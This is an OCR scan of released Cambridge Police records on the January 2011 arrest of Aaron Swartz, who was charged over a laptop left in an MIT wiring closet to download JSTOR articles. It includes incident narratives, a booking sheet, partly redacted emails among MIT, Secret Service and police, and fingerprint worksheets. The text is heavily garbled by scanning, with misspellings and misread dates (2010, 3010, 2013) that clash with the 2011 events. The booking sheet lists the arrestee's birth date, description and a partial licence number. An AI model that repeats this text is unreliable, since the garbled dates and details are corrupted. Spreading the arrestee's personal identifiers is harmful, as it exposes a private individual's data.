EVehivlonsil s ] RGN RO PRt VG A TR S B Y
Type Aeq #

Role
Stolen § Rec Code Date Rec Rec$ Rec By
Class, Description Make odel Serial # Value

AT e

cmm-tzmm'rt [

On Jenuary 4, 2010 at approximately 10:30 houra I responded to NIT building 16, rcom (04T for
a Teport of 4 past break. This room is a telephona closet and networking sloaset; it's sacess
is coatrolled by WIT's I5&T Dcpu-unont of MIT ISaT explained to me that soaacne
had entered the restricted room and connectad s laptop and external bard drive directly to a
networking switch, The laptop and extarnal hard drive were being bidden under a cardboard box.

|(b)(6).(b)( Izuxt:hot explained that they were able Lo determine that this laptop was illsegelly
{Continuad on next pags)

Reporting Othcers ReviewinglOfficen#:

(01 1372011 11:21:32)




CAMBRIDGE POLICE DEPARTMENT Faged 012
CAMBRIDGE, MA
Incident Report #1 1000131

. £)(6).ib
hmtweg For_Piblig iag View Dute/linte Printed: Thue Apr 07 26122117 8DT 20By fﬂsr‘)\ :
Casa Vitle - ocation

14 LEB BY
Date/Time Reposted Yate/Time Oceureed
01/46/201% 14:18:00 to
ncidant Typs/Offense
REB DRAXTIME FOR PBLONX c266 318(2G6/18/R}

.N.l PRV (Coaraniuedg feoe
downloading scientific mr!odiul- from J8tor, s subsoription based databass that houses

acsdomic periodicals,
Cambridge Police Detective [(D)(8).D)7)(C) | spocial Agent [BX6).ON7XC) | grom the United states
S8eoret Bervice and Boston Polica Officer l(bl(G),gb)§7)|te-pondnd to bullding 16 room GQ4T.
Cambridge Police's Crime Scene Sexvices alse responded and processed tha laptop and external
hard drive for latent prints. It was determined that the laptop would be laft in place and
184T would monitor the network traffic in an attempt to identify the Buspect., A camara waa
also instelled by MIT's I8aT Department to monitor the ares.
On January 4, 3010 at approximetely 1%:26 hours a white male, dark or black shouldar length
wavy hair, wesring a dark coat, gray backpack, jesns with a white bicycla helzat enters the
room. It appeare as thought the suspect takes a hard driva ocut of his back pack and bends over
the laptop and external hard drive, He exits the roocm mameante later,
On Janwazy §, 2010 MIT's T84T Departmeat inforrmed me thet approxtmtely 70 gigabytas of data
had been downloaded, 98% of which wae from Jstor. 2A [BY6),(DX7)(C) | had informed me that WIT's
IS&T had put an approximate value on the dowloaded inzomeion at $50,000.
Nn January 6, 2010 at approximately 121332 hours a white male, dark or black shoulder langth
wavy hair, wearing a dark coat, gray backpack, jeans with a white biocycle helmet enters the
lroom, X wes monitoring the video fwed at the MIT Police Depaztmont at this time. It appeares as
thought the suspect packed up the laptop and hard drive and exited the room. NIT Police unite
reaponsed to the area snd searched for the suspect. A check of rthe roem determined that the
laptop and hard dxive had been removed.
On Januery 6, 2010 at spproximately 14111 hours [(b)(8).(DX7)(C) log the NIT Police
Department celled we and stated he had located tha Buspect riding his bike on Massachuwsettas
Ave at Lee Jtroet. Spevial Agont‘nd I responded to the Lee Straet to nailt
The suspact jumpad off hia bike when engountered by [[DY(B)(D)(7)(C) ] snd ran down Lee
Street. |(b)(G).(bY7)(C) |and special Agont [(BXE), (b)lworo able to apprehend the muspect st 24 Lee

Stroet. He wes handcuffed by 8A
The suspect ensountered by [(L)6).bX7XC) |and apprehended on Lee Stxeet 4is the same person

seen on video eataring the rmetricted telephone oloast in building 16 on January 4th at 15:26
hours and on January 6th at 14:11 hours.

Hle was errasted for two counts of Breaking and Entaring in the daytime with the intent to
comnit u felony, Chapter 26€ Baction 18,

cporting Officer Reviewing Orficee Approving Officer.
MIT PUFB)(6),(b)( J {B)(6).{b)X7HC)




Main Form

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

CAD Incident Report #11000895

Page 1 of 2

Incident iInformation

Bacideas W Incldent Dats Coli Toker

11000895 01/04/2011 10:49:56 gg)‘(smmm I

Incldent Type Description Priority

130 MISC 3

Ems Lovel Alarm Level Modified By Modified Date
01/04/2011 10:51:22

Event Information

Muatvipality Rusiness Name
MIT POLICE

¥ire Box RA
261 205
Correct Location
MIT POLICE/ 301 VASSAR ST
Street # Sireet Name Apsriment#  |Cross Street
301 VASSAR ST
Near Lendmarks Additionat
AMHERST ALLEY I'O VASSAR BUSINESS ADDRESS: 301 VASSAR
ST ST
Reporting Parson
RP Name RP Phone How Recelved
RP Address Closed By Dete Closed

©)X8).E)7) | 01/0412011 10:51:22
Incident Types
Olapatch Class Incident Type
AMBULANCE
FIRE/RESCUE
POLICE MISC
Note(s)
Note Type |Enterod By |user 1D
Nots
FILENUM [01/0472011 10:51:26 (oo

hitp://pd-rms2/QED//cadpartner/cad97/cadine view/main. jspTagency=CAM-PD&incnum=1...

sty



Main Form Page 2 of 2

ASSIGNED FILE#: 11000078 —
INFO foroa2011 10:53:36 (ONOME)
REPORT GENERATED FOR DELTA 71,

Dispositions

Disposiions

Type Disposition Incident Report? Accident Report? Due By
POLICE {(117) REPORT/FRT DESK Y

hitp:#/pd-rms2/QED/fcadpartnec/cad97/cadincview/main. jspagency=CAM-PD&incaums=1... 4772011



Record of Booking Page 1 of |
POLICE DEPARTMENT RECORD OF BOOKING
CAMBRIDGE, MASSACHUSETTS PLEASE PRINT
UULL RUMOPR ARREST HUMBER DATE & TIME G BOOKIN NCIDEHT NUMDER
RELEASED FCANM201100032 ND1/06/201 1 14:46:286 11000431
T ASTNAME FIRST TATODLE NAME |~ 008, |AGE h N
SWARTZ AARON it L 11/0873986] 24 [{b)(6 §374
TRUE NAME MAIDEN NAME Pmﬂmuu_]
AARON H SWARTZ ! (b)(6).(b)(7)(
SREET  STREET NAMB APTY  CITYMTOWN STATE TP soNELYORED
| TYTCINOYFAN® 1 {CHLL)
SEX HEIGHT WEIGHT  [RACE
™ 506_ 120 WHITE
VAR iYES LD
BROWN BROWN HIN
ETHNICITY SCARS
NOT OF HISPANIC ORIGIN
PLACEORBIRTH R R lAl JRIVER'S LICENSE
CHICAGO W  [iNniapmiEpiE2433493 CA
: o [MOTHFKS MOTTERS
[B)e).®) | BEEE ]
EMPLOYER (XCUPATION
HARVARD U 'RESEARCH AT HAR
ADDRESS OF EMPLOYER
124 MOUNT AUBURN ST #52 CAMBRIDGE m
JFCUT VISINLH N PERSON, DUSCRIBE RIND & LOCATION OFFhNSES
np fnjuries per defendant
TREATIAY WHER UTRNDING PHYSICIAN . R&E DAYTIME YOR ¢ 8

-
PRISONFR ADYISED OF RIGHTS YeS (680 % Badk DAVTIME FUR FELONY <266 S18
UNDER G.L. CHAF 276 13A 70y
2 3
ANGERPRINTS TAKEN °  PHOTO TAKEN a3
IF PRISONER WAS ARRESYED FOR OPERATING UNOER THE 4.
INPLUENCE, FILL IN BBLOW -
PRISONER ADVISED OF RIGHTS YES s,
UNDER G.L. CHAP 263 54 0 BY WHOM ;
BREATHLYZER -
READING LY WHOM |\ RREST ON YES  hwaRRANT NUMBER
WARRANT? 0 Frrvcourr
1 have been adviacd of and umicistand my righl to remain silent, ust @ HARGHS

telsplimae o call a lawyer or heve one provided, and 1o bave my own
shysician test for alcobol.

FRISONER SIGNATURE

ARRBS TING OFFICER TROORING OFFICER
OTHER PD (REMbie 1 |

(3115 ARRBS!BP PERSON HAVE POSITIVE IDENTIPICATION
i ves T]NO  TYPE: STATEID

COMBLAINANT [ummmumﬁLl
OTHUR D (b)8),(LK7)(C)
2 {8 PF TION OFFICER NOTIFIE TIME
1S ARRESTES A JUVENILE D YES NAME 0OFF PROBATION OFFICER NOTIFIED
NAME OF PARLNT OR GIIARDIAN N()HT’IF.I) OFPFICER MAKING NOTIFICATION IME
BAIL. COMMES!I)N!;R TAMOUNY OF RALL AT AND TIME OF BAIL
BaRnG 1 f1,040.00

DISPOSITION

2687

hitn:/fod-oms2/ORD/ fsite/C AM-PD/booking/bksheet isplagency=CAM-PD&booknum=TC... 4/7/2011



Main Form Page 1 of 2

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA
AuENCY NAME Case NTE CASES
CAM-PD STANDARD 11000078
CASE INFORMATION
BASIC INFORMATION
. CASES CaSE TYPE CABE TUTLE
; 11000078 STANDARD MIT COMPUTER CRIMES
 ACTIVE

ENTEREDBYID/NAME ~ DTENIERER UPDATEDBYID/NAME DI Uppalzd

INCIDENTS ASSOCIATED WITH CASE

INCrORNT mmmnou'

INCIDENT # DATE/TIME REPORIER OFFENSE LOCATION
13000078  01/04/2011 10:49:00 MISCELLANECGUS STATUTORY VIOLATION 301 VASSAR ST
FILILINY 01/06/2011 14:18:00 B&E DAYTIME FOK FRLONY c206 318 24 LEE 5T
I TO DO LIST :
i

ACTIVITY # 2 FOLLOW-UP REPORT
SCHERULED DAXR/TIME SCHEDULING QFFICER DETECTIVE SCHEDULRD

02/a1/2011 1m29:89

NotEs

COMPLETED ACTIVITIES

ACTIVITY # 1 GENERAL CASE NOTES

AGTUAL DATRITIME DEQCIYE
03/31/2011 13:57:61 m).(b)(n(c) ]
SCHEDULE NOTE

hitp://pd-rms2/QED//policepartner/common/crimeweb/detcaseview/main.jsp?casenum=1]0... PYelviii i



Main Form

Page 2 of 2
ACITVITY NOTH
‘mves'rrouons ‘
; CURRBNT INVESTIOATORS
piAmg Rox DATE/TIME ASSIONAD
{EMG) T HEC) i BVIDENCE 02/11/2012 17:29:83
CASE OFFENDERS l
: OPFRNDER INPORMATION
i
JMNI NumseR NAME ‘L'YPR BOGXING NUMBRR
11006000442 SWARTZ, MARON H SUSPECT
1199000437 SWARTZ, AARON H SUSPECT
L0647 SWARTZ, AARON H NERANDANT TCAM20:100032
ATTACHMENTS I
ATTACHMENT #1 3
pyedd DATR/TIME RNTSRED Barsuny By CAPTURED BY
QTHER 08/31/2013 17455:04 [@E.eXS) ]
Medis: getcasemediaiwp?azencyname=CAM-PD&emsenum= oonaziibattachmetounzs

htp://pd-rms2/QED//policepartner/common/crimeweb/detcaseview/main.jsp7casenum=110.. arnbit



Page 2 of 4

R IF
2691

Gle HEAROTA nonbayed\FOTA Orio\Nise TTALONNNTR\Pansrwndk\D1TNncl A FW Ruildi PRI




Page 3 of 4

IRIF
26
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Pege 1 6f 2.

(b)(6),(B)THC)
From:
Sent: Thursday, January 06, 2011 11:13 AM
2 e %;ﬂ N m;)m"l s (b)(8).(bX7XC) usss. s gov’ (B)B).IX7HC)
. [(b)(B).(b)(?)(C) >con’1cast net"|(b)(5) {bX7) 'Puss's dhs.gov'
.net’; \ .dhs.go
Subject: Fw: MIT - Bid 16
[wxm.(b)ﬂnb) J

The thread below has the status of the investigation to date.

As | am on a day off today | would request that CPO Crime Scene persennel hook up with SA (b)E).(OXT) and
process the newest external hard drive for prints that the suspect left the other day after we cleared the scene.

As you'll natice from the thread, the operation is belng shut down and we will continue the investigation just not
with the computer hooked up and downloading d

(BY(6),(0)(7 (C) {0)(6) {BX7XC)
I pell phone number is

b)(8), l b (b)(8).(b)(7) (b)(6),(b)
(b)(7) ¢ jand (gz an you callI(C\ ﬂs"‘b"" and hook up with her and|(7)(C)

Ragpectfully Submitted,

(b)(6).
(bY7\(
—[(b)(6).{b}7)C) (B(6).(BX7XC)
Fro Dusss.dhs.qov> BV ENTC
BYELOBNINC) bit.edus| N EHAE)
u{(b)(6),(bX7HC) mit.edu> [(B)(E) (BX7)C) bmit eduss

BOS (L)) {LITKT) Jusss.dhs.gov>
Sent: Thu Jan 06 10:00:07 2011
Subject: RE: MIT - Bld 16

| agree with taking the laptop offline today and imaging it. Any leads with identification? 1 wanted to logk at
what options we have to get a better picture of his face. | mentioned the case to aur Technical Security Division
Speclalist. He is working on another case this morning but will be available this afternoon. Do you have any
other surveillance optlons to capture a better image of his foce?

I(b)(s).(b)('/)(c) |
t1.S. Secret Service

G e ce
(b)(8).(b)}7)(C)

DMIT.EDU]
Sent: Ti M
To: [BYB)LBXNIC)

(b)(6).(b)(7 (8OS); External—mc(b)(a)' dcambridgepolice.org
Cc:f(b)8).BYTNC)

Subfect: MIT - 81d 16

All,

| am going to suggest that we take the laptop and hard drive offline today. | think the amount of netwark traffic
capturad Is sufficient and would like to remove the laptop to ses If he comas baclk 1o retrieve it. | wilt be able to
put some people there for a short time in an attempt to ID.

2694
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Page 2 of 2

I am following up a couple of possible ID's this morning and will get back to you on my success (or not}.

The open questions will be if we decide to take it offline, Is this something | can do with instruction or will | need
help? Also, do we want to have the new drive printed?

FromEELEXNC) |

Sent: Wednesday, January 05, 2011 5:02 PM
ol PG s o (6,
Cei(b)(6).(b)7)(C

Subject: Packet Capture

Hi there,

) have collected about 70G of network traffic so far with about 98% of which is the JSTOR journal downloads.
I've done some initial checking of the capture and i don’t see anythlng that identifles a command and control
channel. | was Just wondeting what the next step is.

Thank you
(DXB).(EN7HC)

Information Services and Technology (IS&T)
Massachusetts Institute of Technology
Room[PIETOIC) ]

Cambridge, MA 02139
(b)(6).(bX7)(C)
(b)(8). Init.edy

All e-mail to/from this account is subject to official review and is for official use only. Action may be
taken in response ta any inappropriale use of the Secret Service's e-mail system. This e-mail may
contain information that is privileged, law enforcement sensitive, or subject to other disclosure
limitations, Such information is loaned 1o you and should not be further disseminated without the
permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or
copy it; notify the sender immediately and delete it.

2695
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o Cambridgerolice Department
M| Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

Processing ‘Technique: [Z/ "
éc/a’l/w/ (i

Powder: [ ABck. Chemical:

; Z.i Photo: {1 Otherr
i B ;
S,. SPEX ling
¥ Date Entered:_,/\ﬁ'i —
LExakiner:

o
&
[_aj.

Core Present:
Skeleton:

—d &

: #ofPoints;__._____
Submitted to Databas
finger :  Palm Impression Tnitlal QED Supplyfhcntal L]
Candidate Lisy8enrched and RevieweN, ]
Mise. NotJ
Value for Comparison { fgb » '

¥Manual Comparison: -

Natme DoB _OBTY

/
oye). o)
"

2

N AN RSN

s \D GO
=
i
I




Cambfid%ﬁ’olice Department
Identiftcation Unit

LATENT PRINT EXAMINATION WORKSHEET

Cade#: _Z_L_ AJQQQZ 2

Level 1 Detall:

Pattern Type/Ridge Flow
Incipient ridges, scary, waits
Quality (distortion)

Level 2 Detail:
Ridge Morphology (snze/shapu)
Target/Unique ridge detail '

Level 3 Detgil:
Pore/Bdge detail
Secondary Creases

: IndwxduaJS(.Ol/ /

{b)(6).(L)IAC)

faconc

Nate Verified:

V Agency

Date Sul

. L
Not suifublo for cd/r;( L/Kr?uﬁe'?or comparison

RESULT NOTES

Tnsufficight detail to cstablish identity but sufficient
| detail $6 present to exclude identity
Tomfficient detail to either estabiish or exclude
idgfitity

JMasufficient detail for comparison pukposes

A




)

o/
Cambridge Police Department
Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

Procgssing‘"

.CA: emical 1A 2/34’ WL

4epst

ﬂ\

Powder;
Phato: Other. __ .
SPEX fintry - i
Date F.'.ntcred:_&ﬁ:‘:_,w
Examiner:

Toverted: l_]

'. | Pattern: [ ws | [cs ] | 'X_{ﬂ
Core Present: |

Skeleton:

# of Pointa:

o

Submifted to D ]
Finger . Palm Impression Initial QED' § ]
Candidat, we ]
Misc/Notes:
Value for Comparison / /Q )3 ' -
- <
‘asese - = ©o 0 Manmmal Compartson: e e
Vam DOR OBIN
S //\\?
2 : —
3 e
4 / _ .
S e (EX8).(hFHC) "
O - . .
7_ - . T
8. / -
9, 7 ‘
10 pd

\v

L |- T—




o S e

Cambridge Police Department
Identification Unit

Cageis_//— 42070 Z gg

Latent#: i
Examinc

- Y Ty S ——— b
Mt A ok d
K

L

LATENT PRINT EXAMINATION WORKSHEET | Date: s for7 X7
"
Level | Detail:
Pattern Type/Ridge Flow
Incipient ridges, scurs, warts
Quality (distostion)
A Level 2 Detail:
» Ridge Moxphology (s:zelshape)
E ‘Target/Unique ridge detnil
Lgvel 3 Detail:
Pare/Edge detail
Secondary Creases
N e Individuals Compared:
' (b)), (BXT)C) :
Individualization:
Bxclusion:
Tnconclusive:
; ' S .
V Agency: / [
“Pate S‘uhmnttui AR / Datn Verifleds - -~
o i " RESULT NOTES e
Not suitable for search byfsuitable for companson
Unable to make compgiison due to poos qunhty of T -
impressions on the tgh-print card - . T
Checked as far as gossible and remains unidentified
Tnsufficient d 6111 to establish xdcnmy but sufficient o
_detail to progopt to cxclude identity __— .
Insuificieyl detail fo cither establish of exclude
identity -, ~ S
Insufficient detail for comparison purposes
: 2699




iy CAMBRIDGE POLICE DEPARTMENT Page 11 2

&D)) CAMBRIDGE, MA
$7  Supplementary Report #11000078/4

= Cegmen (b)(B),
Appxoved Pui Publlc View Date/Time Printed: Px4 Apr 15 14:17:43 ¥bT 20 Uy (BWINC)
Lase Title Location
MIT COMPUTRR CRIMES 301 VASSAR 6T {BLD 1}
Date/Time Reported Date/Time Occurred
01/04/2013 10:49100 to
rncidemTypcloffense .
XISCELLANEOUS STATUTORY VIOLATION (999899)
ole Name &x Race Age (D08 Phone Address
thome}
ken
|  thome}
} et
R Oeiddg 5 it : R R TP
Status flame 008 Phone Address
. |9o9rEeT [{b)(8),(bX7XC) | e [wwaTE [RIGLENTHC) | (b)(6).(BXT)C)
(b)(BYBXNIC
| thorme}
Kol
le ypa Yoas pMake Model Color oq 4 Stale
Stolen $ Rec Code Date fec Rec $ Aec By
< 3
A 38 esciiption Viake Wodel Sar - N

p bk card and ue 213 a

() k
(b)(8),(b)7)C)

1 16:02:34)

L1100



CAMBRIDGE POLICE DEPARTMENT Pige 2 of2
CAMBRIDGE, MA
Supplementary Report #11000078/4

Dute/Time Pelnted: 8r{ Apr 15 14:17:43 BOT 2091:{(9(,9"(!’”

(A

\ i ’l
1) 1
-

QN

Approved- Por Biiblig view

ase Title ocation

MI? COMPUTHR CRIMRS 1301 VASSAR 87 (BLD 1)
te/Tima Reported Date/Time Occurred

01/04/2011 10:49,00 ko

lnddent Type/Offense
; TOLATION(999999)

INarrative! (Continued frowm

NARRATIVHS

om March 15, 2011, T was notified by pet.[PNEMOX7) |epge [OXELBNTNC) |(gra) may be
concidezed a person of interxest in thie case. 1 exsmined the fingerprint card on tile for

thie individual nnd determined it contained sufficieat ridge quantity and quality for
1 then compared LP6 ts 322 and could not éxclude 3P2 es a donor for LP6.

compariaon.

LP6 and SP2 gecured in ID Unit case files.

Approving Olhicee

Reviewing Oflcee:
(b)(6),(b)}7XC)

Reponing: ONicer
(b)(8),(b)7)C)

2701




CAMBRIDGE POLICE DEPARTMENT Page 101 2
CAMBRIDGE, MA
Supplementary Report #11000078/2

. ol (D)(6),
Approvhd For Publid¢ View Date/Tune Printed:Thy Apr 47 16§09:53 BOT 20 By [(bY7HC
Case Title Location
MIT COMPUTRR CRINHE 301 VASSAR 8T (BLD 1)

Date/Yime Reported Date/Time Occurred
01/04/2011 10:49:00 to
Incldent Type/Offense
HMISCBLLANBOUS HTATUTORY VIOLATION(S9999%)
__Role Name Sex ace Age |DOB Phong Address
et
teod
{home)
0
itatug Name Sex flace Age [DOB Phong ddress
iheme}
(eolly
e
twem) i
L
e fype Year pAake Model Colar req ¥ Jtate
lalen § 1] Date Rec Rec § Rec By
Clags Description ke Model Sedal ¥ Jalye
L
Niritived!
BVIDERCH:
B1; {1} sealed clear plaatic svidenmce bag cantaining (1) flash driver black
plastis, *"HP®, 8 GB. Silver metal USB iunsert haam ¥ °004SMKBTL" and # “"565102° and “vi25w®.
Momnuxements are apprex. 5.3om x 1.7cm x .08om
vewsrltem K1 REPACRAGAD 1N A SBALED MANILA BNVBLOPE w/ origlsal plastic packaging.veswe
(1) sesled clear plastic evidence bag conteining @81, €32, aund CS2a.
{Continued on unext page)

Y .

eyIey

i o

Réporting Officer k4

(b)(8) (b{7}C)
) 173011 16:108:%9)

3 % 45 [Approvang Oticen: & & fu ©
(b)(8),(b}7)C) |
1 {U8/UL7 UL 0‘: :39

ANgGONTTeet it




CAMBRIDGE POLICE DEPARTMENT Paga 2 of 2
CAMBRIDGE, MA
Supplementary Report #11000078/2

. 2 (b}6).(b)

Approved Yor Publig Viaw DatesVine Printed: Thu Apr 07 16¢09t53 BOT 20fy:(7)C)
Lase Yitle Location
MIT COMPUTER CRIMBS 301 VASHAR ST (BLD 1)
Jate/Time Reported Pate/Time Occurred
01/04/2011 10¢49:00 ta —
ncident Type/Offense

TUTORX YXQLATION (959999}

ENHIT:'.'.i\«'. trontinuads Sram

€813 (1) wmin{ laptop: ACER, Aspireone, 8Ni LUSAXaDool001R1601, SMID: 00106556616,
Model #: MAVSO. Laptop is described aw a black base w/ silver top. USB cord and 2 power cords
are connected to the laptop. Measurements ere approx. 25.9cm X 18.3 em X 2.8 em.

C82: (1) External hard drive compartment: 8ilver w/ top & bottam that ssparate from

each other exposing an internal remsovabla unit {C82a). The coampartment reads,

sRockatPish* on the top and bottom reada, "RF 3.5 SATA 11d enclosure kit RF-AHD3S® Inside the
compaxtment 1s & green elactronic circuit panel. A black USB cord connacts C82 ta csy.
tossurements are approx. 23.3ca X 13.loa X 4.3em.

cS2a: (1]} inner havd drive unit, or internal ramovable unit located inside C82. Unit is

a Western Digital, MDL: WDIOBARS-0OMVWBG, 2.0 TB, 8N: WMAZAL1626675. Unit 1s described as
having black sides and bottom, raflactive silver mstal top w/ & green & white label v/ product
info. Maasurumante are approx, 10.3cm X 14.Scm X 2.4 om.

sesvnlvens C81, €392, and CS83 REPACKAGED IN A SEALHD LARCRE BROWN PAPER 8A¢ w/ original plaastic
lpachaging,ssves

LPT: (1) small clear hinge lifter collected from the upper right coroer of the acreen

(C81). Collected prior to fuming on 2/10/2011 at approx, 0953 hours.

2LP7t (1) amall clear hinge liftar collected from same ares as LP7. Collected after

fuming and traditional black powder prosessing. Collected on 2/10/2011 at approx., 1216 hours.
1L.P6s (1) small clear hinge lifter collected from {87a (silver metal surfaoe) .

Collacted aftey fuming and trediticaal black powder processing. Collected on 2/10/3011 »t
approx. 1150 hours.

LP91 (1) small clear hinge lifter collscted from CS1 between areas for LP6 end LP7,
rollected after fuming and traditional black powder procedeing. Collected on 2/10/2011 at
approx, 1223 houza.

PHOTOS: (7) photos collected om 3/3/2011. (58} photos collsated on 3/106/3011,

NARRATIVE: ¢ .
On Pebruary J, 2011 at approx. 1130 hours, Doc.l(b)(s)'(b)(”( ) laubmittod tha abova items

(B1, €81, €393, and C52a) via Property. With thae asaiatance of [(BX6).BY7HC) | pet.

[b]{ﬂﬂ] opened the sealed packages and (7) photographs were taken of the items. The

items wers repackaged at this time as described above and secured in the 1D unit.
{Continued on next page)

[B)(8).)(7)(C) | J

Adnrovinge Offtcens £
(b)(8).(b)(7)C)

r Officer o

2703



CRUITG, CAMBRIDGE POLICE DEPARTMENT Page 3 ot 3
4%l CAMBRIDGE, MA
&7 Supplementary Report #11000078/2

. . ©)E).(B)
Approved ¥or Puhl‘i":’:‘:?viow Date/Time Printed: Thu dpr 07 16109153 BOT 20DyH7NC)
Fascﬂtlc |ocation
MIT COMPUTBR CRINES 1301 YAGOAR 6T (BLD 1)

e/Time Raported ate/Time Occurred
01/04/3013 10:49:00 to
ncident Type/Offense

SCELLAMEOUS. STATUTORY VIOLATIOM(999999)

WNITULIVEG | (Continued fcon page )

bn Febra l(b)(ﬁ).(b)(7)(0) |

ary 10, 2011, and I examined the above listed iteme and documented
tha same with notes snd photographs. Upon axamining CS2a, I observed ridge detall (LP8)
on the silver metal surface. I used oblique lighting snd aeveral alternative lighting methods
with photography to snhance the vimibiliey of the latent. I obspexved black powder residus on
CS1 and CH2 that remained present €rom the processing conducted on scese on 1/4/3011. In
addition, I obgerved an additional latent {LP?) not observed at the scens. I attempted
to enbance and collect thie latent prior to further processing. Items Bl, €81, €S2 and C82a
ware then fumad with cyanocacrylatas. Upon completion, I examined the itsma again and
ocbaervod ridga datail on €81 (the edges of the ecreen) and on CS2e. No discaranidle
ridge detail was observed on Item Bl or C$2. I usaed traditional black powdsr to further
enhance ridges detail amd collected latent print lifts (3LP7, L?8, and LPS) from C81 and
ic92a.

Items Bl, C31, €831, aud C42a were returnaed to its puakaging and mecured in the ID Unit Lab
Locker.

A Offiger

Repurime Officen Review Appeovins Officer

(£)(6).(b}7XC)

2704
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CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Supplementary Report #11000078/3

.\pprovod For PUbI4GY; _giew el

i Dateriiae Prinied Thu Apr 07 16:10:21 ROT 20 By:

Page lof 2

I b)(6),(b) l
(MY

MIZCRLUANROUS STATUTORY VIOLATION(999399)

Case Title Location

MIT COMPUTBR CRIMES 301 YAS3AR 8T (BLD 1) o
DatefTime Reparted Date/Time Occurred

01/04/20311 10:49:00 to
incident Type/Offense

Role

ame

fex Race

ge OB

Phone

Address

{rara)
{eel)

o)

Status

lame

Sex Race

Age [00O8

Phone

ddress

Prena)

watly

Year

Descriptian

Valug

!N:“'n\n\lc, R
BEVIDENCE:

8P1l:

TCAN201100033, colleatsd on Jamuary 6, 2011,

LP7:
(csi).
2LE7:

{Continuad on next pagel

(1) known fingerprint card for Aaron BWARTZ, DOB: 11/08/1%86, W/M, OBTH:

(1) amall clear hinge lifter collected from the upper right carner of the ecresn
Collected prior to fuming oa 2/10/2011 at approx. 0953 hours.

(1} small cleax hinge lifter oollectsd from same area ae LP7. Collected after

2011 16:32:49)

(04/01/201) 0%Hyp§;:48
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Approved For Publie Viaw "3 "oF S e Tire Printed: Thu Apr 07 16110:2) BOT aoB«ISEZSg’\(t’ l
sa Title Lacation

MTT COMPUTER CRYMBS 1301 VASSAR 6T (BLD 1)

ate/Time Reported [Date/Tima Occunrad

01/04/2011 10349500 to

ncident Type/Offanse

MISCRLLANRQUS STATUTORY VIOLATION(949999)

%hnTnH\I‘ {ventunuad Peom page 1)

funing and traditionsl black powder proceasing. Collectad on 3/10/2011 at approx. 1216 haurs.
LP8; (1) small clear hinge lifter collescted from CS2a (silver metal surface),

Collected after fuming and traditional black powder proceesing. Collected oa 23/10/2011 at
approx. 1130 hours.

LP9s (1) emall clear hingm lifter collected from CB1 between arxeas for LF§ and LP7.
Collected after fuming and traditionsl black powder procesaing. Collested on 2/10/2011 at
approx. 1233 hours.

NARRATIVR

On February 10, 2011 and FPebruary 11, 2011 ¥ examized the abave latent 1ifts and their
roapective photographas te determine their value for compariseca. LP?7, 2LP7, and LPS wezre
datormined to contain ingsufficient quantity and guality foxr comparison. LP8 was determined to
contain sufficient quantity and quality for compacison. I then compared LP3 to the kaowm
exemplar prints for Aaron SWARTZ (Xtem 9P1) and individuaiized it to the #6 impresaion.

I submitzed s Verification Raquest to Boston Police Dapartmant, ‘Eﬁirbt.hm) lon Pebruary
25, 2011.

Verification report received on Maroh 9, 2011, Hee case sattachments for Verification report
and supported documents.

Abbroving OFficer [
(E)(8),{b)(7)(C)

IReporting O e 0 E ey Fevitaw inge OTees

s

(B)(B).(L)(7)C)




CAMBRIDGE POLICE DEPARTMENT oge Lot 3
CAMBRIDGE, MA

WS
9/ Supplementary Report #11000078/1 —
Mpproved for Public View Dales Pime Printed: Frd Apr 15 14:14:21 EDT zolsy'si{(c !
Case Thie Location
MIT COMPUTHR CRIMES 10L VASSAR ST (BLD 1}
Date/Time Reported Date/Timoe Qccurred
01/04/2011 1014900 to

Incldent Type/Oifanse
WISCELLANKEOUS GTATUTORY VIOLATION (993999}

Persang
Nole
inamra)
cvbly
s
i)
Status Name L X ce e D08 Phone Address
, |svsPECT (b)(8),{bX7XC) B haLe |[wHITB {(b)(6).(BI7HCS finmn (b)(8),(bU7HC)
AN
thome)
(eal)
ole Type e3¢ Make Model LColor 8 fState
Stolen § flec Code Date Re¢ Rec$ Rec By

fi

N T Ve el
EVIDENCE:

BPL: (1) known fingerpriant card for Aaron SWARTZ, DOB: 11/08/1986, W/M, OBTN:
TCAM201100032, collected on January §, 2011.

The following collected on scene on 01/04/2011. Sse 1st Incident report far this case.
LPi: (1) amall olesx binge lifter from the botkcm right corner of the inner bard-dxive

unit {C82b). Collected at approx. 133%1 hours.
{Continued on noxt pagae)

_ proving CHiieer, %

(04/35/2011 1%;:23] ‘

Reportine Ofl 14
{(b)i6).(B)7)(C)

11¢50:20)
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CAMBRIDGE, MA
Supplementary Report #11000078/1

b)(8).{b)
gegroveg Fox Public View Dute/Time Printed: Pxd Apr 1S5 14:11:21 RDT 208w§7¥€&
Foseﬂﬂe L ocauon
MIT COMPUTBR CRIMES 301 YASIAR 8T (BLD 1)

Date/Tine Reported Date/Time Occurred
01/04/2011 10:49:00 to
ncident Type/Otfense

MISCELLANEQUS STAXUTORY VIQLATION(999999)

NIV (Continued. £xom

LP2s (1) amall olsar hings lifter from the top right corner of ths ianer hard arxive
unit {C82b). Collected at approx. 1224 houre.

LP3: (1) emall clear hings lifter from the middle left side of laptop screen

{c81). Colleatad at approx. 1226 hours.

LP4t (1) small clear hinge lifter from the uppexr left vormar of the laptop screen
{CS1). Collacted at approx. 1230 hours.

LPS: (1) small clear hionge liftexr from the upper right coxner of the laptop sereen
{C81) . Collected at approx. 1232 bours.

LP6: (1) small claar hinge lifter from the middle zight side of the laptop screen
(C81), Collectsd at approx. 1245 hours.

NARRATLIVE;

On January 4, 201} asnd January 6, 2011 I examined the above latent print lifta and relevent
Pbotogzuphn to determine their value for comparison. LP1, LP2, LP3, LP4, and LPS ware
determined to coatain insufficient ridge detail for comparison. LFG was determined te contain
insutficiant guantity and quality for individualizaticn but gontained gufficlent detail for
oxclusion. I cempared LPé to 5Pl and excluded Aaron SNARTE as & the donor for LPS6.

LP1-LPS are secured in ID OUnit case files.

Repiitting Criicor
{b)(8).(b)(7)}C)

Reviewing Qfticer




CambridgePolice Department 1 Casefl: //, 27
Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

Processing Yechui =
Powder: F Chemlcal ¥ rZ (/d/ 0 v/

Photo: L/*‘M) Other _rl.é_,_..._

F

SPIEX linty

Core Present: ‘E“ Delta Présent: M

Skeleton: A7A
: -# of PHints: ’
Submitted to Database: i
- TN, oy " al.
(J l?iggej) Paim {mpression Initial QED Supplemental: -
